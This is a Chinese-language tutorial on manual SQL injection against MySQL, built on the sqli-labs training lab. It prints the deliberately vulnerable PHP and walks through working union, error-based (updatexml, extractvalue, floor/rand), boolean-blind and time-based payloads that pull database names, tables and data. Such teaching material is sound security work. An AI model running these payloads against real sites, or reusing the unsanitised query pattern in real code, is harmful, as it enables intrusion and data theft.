0%

SQL注入

前言

​ SQL注入漏洞是目前web安全中最为高危漏洞之一,在OWASP常年排名第一(截至2020.3.21),也是最为常见的漏洞之一,虽然随着开发人员安全意识的提高和开发工程的模板化,SQL注入不再像以前那么随处可见且没有任何防护,但是渗透技术也日趋复杂多样,而且提供web服务的企业太多了,并不是每一个企业的web服务都具有良好的安全防护措施,所以SQL注入目前还是渗透人员必须所具备的能力之一。

​ 对大多数数据库而言,SQL注入的原理是类似的,因为每个SQL数据库都要一定的遵守SQL语法,但它们之间存在一些差异,本文章因为技术有限,使用市面上常用的SQL数据库——MySQL数据库进行举例说明,但疏通同归,攻击者对数据库的注入,其利用方式也是类似的:

  • 查询数据
  • 读写文件
  • 执行命令

​ 在权限允许的情况下,通常数据库都支持以上三种操作,而且攻击者的最终目的也是以上三种,只不过不同数据库注入的SQL语句不一样而已。

​ 通常的SQL注入可以使用工具,比如SQLmap,其内置了很多功能,全面而强大,但是还是要掌握一些手动注入的方式,才能真正了解SQL注入。

SQL注入原理

SQL注入的产生

​ 其实SQL注入漏洞的产生不难理解,就是用户在前端输入的数据交付给后端,数据要和SQL语句拼接成为完整的SQL语句,而此时后端对用户输入数据过滤不严,将其直接带入SQL语句进入SQL数据库查询,并且将结果返回到前端显示位上。

​ 可以从程序的角度去理解这句话:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

(以上程序截取自sqli-Less1)

发现其中$id是来自前端$_GET传参进来,但在php程序中未经任何处理就直接拼接成SQL语句:

SELECT * FROM users WHERE id='$id' LIMIT 0,1

这就造成了SQL注入

SQL注入的分类

  1. 依据变量类型:

    • 数字型注入
    • 字符型注入
  2. 依据传参方式:

    • GET注入
    • POST注入
    • Cookie注入
  3. 依据注入的方式:

    • 报错注入
    • 延时注入
    • 布尔盲注
    • DNSlog注入
    • 。。。。。(SQL注入的方式很多,甚至有更多骚操作不断被人发现利用中)

数字型注入

​ 当输入的变量为整型时,若存在注入点,则可以称为数字型注入。

eg:假设有URL为HTTP://www.sqlinject.com/test.php?id=3

若SQL语句为select * from table where id=3则此时参数为整型

可以通过以下步骤检测是否有注入:

  1. id=3’ 发现报错 SQL语句为select * from table where id=3'
  2. id=3 and 1=1 无错误 SQL语句为select * from table where id=3 and 1=1
  3. id=3 and 1=2 语句正常但无法查出数据 SQL语句为select * from table where id=3 and 1=2

​ 数字型注入一般出现在ASP,PHP等弱类型语言中,因为弱类型语言会自动推导变量类型,例如:id=3时,会认为id变量为int类型,而id=3 and 1=1时,则会推导为string类型,这是弱类型语言的特性。

字符型注入

​ 当输入参数为字符串时,称为字符型。而字符型数据在注入的时候需要单引号 ' 去进行闭合。

​ 例如: select * from table where username='root'

​ 而此时注入就要用到单引号闭合: select * from table where username='root' order by 4--+'(猜解列数)

​ 这三种注入类似,主要依据注入的位置来分辨,根据名称也很好理解,无非是表单在传输数据的方式有所不同,注意的是,cookie注入依据是php中$_REQUEST变量(默认情况下包含了 $_GET$_POST$_COOKIE的数组),在GET和POST都做了输入过滤的时候,可以通过构造cookie变量形成注入。(但是这一特性在PHP5.4版本就不接受cookie传参了)

SQL手动注入

MySQL数据库

MySQL数据库是现在最为常用的数据库,一般和PHP组成后端黄金搭档,在SQL注入里,关于MySQL数据库也有很多技巧。

  1. 在MySQL5.0以后的版本,DBMS会自带一个信息数据库INFORMATION_SCHEMA,里面提供了访问元数据的一些方式。在INFORMATION_SCHEMA中有很多关键信息表:

    GSUAnx.png

    在进行SQL注入的时候可以从这个信息数据库下手得到关键信息,如果没有这个表怎么办,当然也可以通过爆破获得关键信息,这个时候就要借助SQL注入工具来实现

    1. 一些相关函数:

    Database() 返回当前所使用的数据库名称

    Version() 返回当前版本信息

    user() 返回当前用户信息

    group_concat(name) 将name列以一行返回

    Ascii() 返回参数的ASCII值

    length() 返回长度

    count() 返回元组个数

    if(a, b, c) 条件语句,等价于 a?b:c

    sleep() 睡眠函数

    substr() 截取字符串长度

    load_file() 读文件操作,需要用户具有FILE权限,且读取文件小于max_allowed_packet字节

    into outfile() 写文件操作,需要用户具有FILE权限

    1. MySQL中的注释符
    • #
    • --+
    • /*注释中间*/
    • ;%00(00截断原理,成功率不是很高)

联合查询注入

​ 联合查询是使用MySQL中的UNION查询,其用于把来自多个SELECT语句的结果组合到一个结果集合中,且每列的数据类型必须相同,而且UNION连接的SELECT语句中列数也要相同。

猜解列数

​ 在使用UNION前首先得知道列数,才能构造正确的联合查询语句,可以使用ORDER BY字句:

​ 我们用sqli举例:

​ 此时我们用order by 3 ,让查询结果根据第三列排序

8HsvtA.png

​ 结果没问题,再次测试order by 4

8HyZhn.png

​ 此时就知道该结果有三列

payload

​ 当知道列数的时候,就可以写出payload查询数据的信息:

比如:

查询数据库版本和当前数据库名:?id='union select 1,version(),database()--+

8H6CCR.png

注意:页面的显示位只有两个,猜测为查询结果的第一个元组的第二三列属性,所以此时将前一个select语句查询结果置空,并且让第二个查询语句中第一列参数无意义。

这个时候其实这个注入点就有很多利用方式了,主要在于payload编写的目的用途:

查看所有库名字和当前库的所有表名:?id='union select 1,2,group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database()--+

8Hg8Ag.png

此处用group_concat()是为了让结果按行输出,才能正确输出到显示位上。

其他的payload类似,可以通过先获取全部的数据库名,在获取全部表名,再把所有列名获取,这样就可以获取DBMS中全部的数据了。

报错注入

原理

​ 攻击者使用各种手段使程序报错,爆出相应的数据信息。前提是开发者讲sql语句的错误显示到页面上(具体的话或许开发人员开发时显示错误信息进行调试,结果忘记删除语句或者留者下次使用)。

​ 一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,它的特点是注入速度快,但是语句较复杂。

相关函数

​ concat(str1, str2) 将字符串首尾相连

​ updatexml((XML_document, XPath_string, new_value) 第一个参数:xml文档的名称,第二个参数:xpath格式的字符串,第三个参数:替换查找到的符合条件的数据

​ extractvalue(xml_str , Xpath) 第一个参数意思是传入xml文档,第二个参数xpath意思是传入文档的路径

利用xmlpath报错

​ 在XPath处加上特殊字符,并加上查询语句,MySQL就会将错误和查询语句结果报错显示出来

注意:

  1. 必须在XPath传入特殊字符,MySQL才会报错
  2. XPath只会对特殊字符进行报错,这里可以用~,16进制的0x7e来进行利用
  3. XPath只会报错32个字符,所以要用到substr

payload

还是以sqli-less1举例,这里输出了mysql_error(),注意的是这里的注入点id是一个字符型注入,需要加'进行闭合

?id=1'and updatexml(1,concat(0x7e,version(),0x7e),1)--+

8Os2kD.png

可以发现这里将MySQL的版本信息显示了出来

?id=1'and updatexml(1,concat(0x7e,(select substr(group_concat(table_name),1,32) from information_schema.tables where table_schema=database()),0x7e),1)--+

8OyE9J.png

这里使用substr函数是为了在XPath报错长度限制下进行分段输出,但是此时group_concat(table_name)的长度小于32,也可以不加substr

除了updatexml函数,也可以使用extractvalue函数

1'and extractvalue(1,concat(0x7e,version()))--+

8O6HJg.png

extractvalue函数原理和updatexml函数类似,payload也相同,按照格式也可以写出其他payload将数据库所有信息查询出来。

基于主键重复的报错注入

参考文章(这篇博客非常棒,通俗易懂的介绍了这种报错注入原理)

相关函数

  1. floor() 向下取整
  2. rand() 0到1之间取随机数
  3. rand(0) 0到1之间取随机数,伪随机机制,有规律(0110 0110)

原理

  1. group by 语句后跟的为主键,其值具有唯一性,当不唯一重复时会报错。

  2. group by语句后面的字段会被运算两次。

    第一次:group by后面的字段值拿到虚拟表中去对比,对比之前要运算group by后面字段的值,所以第一次的运算就发生在这里。

    第二次:现在假设下一次扫描的字段的值没有在虚拟表中出现,也就是group by后面的字段的值在虚拟表中还不存在,那么就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致错误!

  3. 例如payload:select count(*),(concat(floor(rand(0)*2),'@',(select version())))x from users group by x

    group by会根据x也就是concat(floor(rand(0)*2),(select version()))取遍历基本表的行数,查询虚拟表,假设当前version()为5.7.26,第一次遍历计算得到0@5.7.26,虚拟表没有,则插入,但此时经过二次计算又得到1@5.7.26,在虚拟表中记录1 1@5.7.26,前面的1是count的值。group by再次遍历计算得到1@5.7.26,表中具有这个主键值,所以直接修改count值即可,不再计算,所以虚拟表就变为2 1@5.7.26,第三次group by遍历计算得到0@5.7.26,虚拟表中没有这个,需要新的元组插入,插入时经历第二次计算,得到1@5.7.26,但是1@5.7.26再虚拟表中已经有了,而且x是主码,此时就会报错,并且将1@5.7.26显示到前端显示位上

payload

还是以sqli-less1举例,因为这里输出了mysql_error()

?id=1'union select 1,count(*),(concat(floor(rand(0)*2),'@',(select version())))x from information_schema.columns group by x --+

注意的是这里后面联合查询用的表是information_schema.columns,因为这个表是一定存在的(MySQL版本大于5.0),当然你也可以使用例如:information_schema.tablesinformation_schema.schemata

GSQj0J.png

来点长的复杂的payload:

?id=1'union select 1,count(*),(concat(floor(rand(0)*2),'@',(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database())))x from information_schema.columns group by x --+

可以看到此处将当前使用的数据库里所有表名全部爆了出来

GSlO8P.png

布尔盲注

原理

​ 在实际应用中,如果页面没有显示位,输出SQL执行的错误信息,但如果存在这样一种情况,即如果执行了正确的SQL语句,则返回一个页面,如果SQL语句执行错误,则执行另一种页面。基于两种页面,来判断SQL语句的正确与否,达到获取数据的目的。

​ 布尔盲注有一个缺点,就是速度太慢,消耗大量时间。

payload

布尔盲注的相关函数上面有提及,下面使用sqli-less8举例,这个就是用到布尔盲注进行爆破。

在sqli-less8中只有两种页面,没有显示位:

成功时页面为:

G9wsV1.png

失败时页面为:

G9w656.png

我们先获取数据库名的长度:

and (select length(database()))=长度

G9sy90.png

可以看到数据库名字长度为8位,然后我们可以逐一爆破出数据库的名字:

and (select ascii(substr(database(),位数,1)))=ascii码

猜解表的数量

and (select count(table_name) from information_schema.tables where table_schema=database())=数量

猜解某个表长度

and (select length(table_name) from information_schema.tables where table_schema=database() limit 某行,1)=长度

逐位猜解表名

and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit n,1)=ascii码

依次类推,知道可以猜解出全部的数据,整个猜解逻辑为:

  1. 猜解数据库名字长度,然后猜解到数据库名字
  2. 猜解数据库表的数量,然后猜解每个表的名字长度,最后把每个表的名字猜解出来
  3. 猜解猜解列名数量,然后猜解某个列名长度,最后逐位猜解列名
  4. 判断数据的数量,然后猜解某条数据的长度,最后逐位猜解数据

注意:猜解时候可以用到大于小于号,然后利用二分法加快查找,也可以使用Burp Suite暴力破解

延时盲注

原理

​ 通过SQL语句查询的时间来进行注入,一般用于无页面回显,无报错,即只有一种页面的情况。

payload

​ 关于延时盲注的相关函数上面也有介绍

​ 实际中我们可以构造这样的payload:if(1=1,sleep(5),1),当1=1为真时,页面将延时5秒回显,在这个判断语句中可以同布尔盲注一样加入蕴含数据库信息的语句。

​ 下面进行用sqli-less9举例,sqli-less9就是一个具有延时盲注的注入点。

GPs2DS.png

我们先获取数据库名的长度:

and if((select length(database()))=长度,sleep(5),0)

GPy2xx.png

可以看到数据库名字长度为8位,当然可以通过>``<确定一个范围在进行搜索

其他的payload也可以依次类推出来,构造的查询语句和布尔盲注类似

猜解数据库名

and if((select ascii(substr(database(),位数,1))=ascii码),sleep(5),0)

判断表名的数量

and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(5),0)

判断某个表名的长度

and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(5),0)

等等,猜测的逻辑和布尔盲注相同。

DNSlog注入

​ DNSlog注入,作用于Windows上服务器的SQL注入方式,MySQL像三级域名解析,像DNS服务器发送DNS请求,被记录在日志中,其中三级域名中含有数据库信息,查看日志即可获取信息。

原理过程如下:

dnslog.jpg

(注意:LOAD_FILE函数使用是有条件的)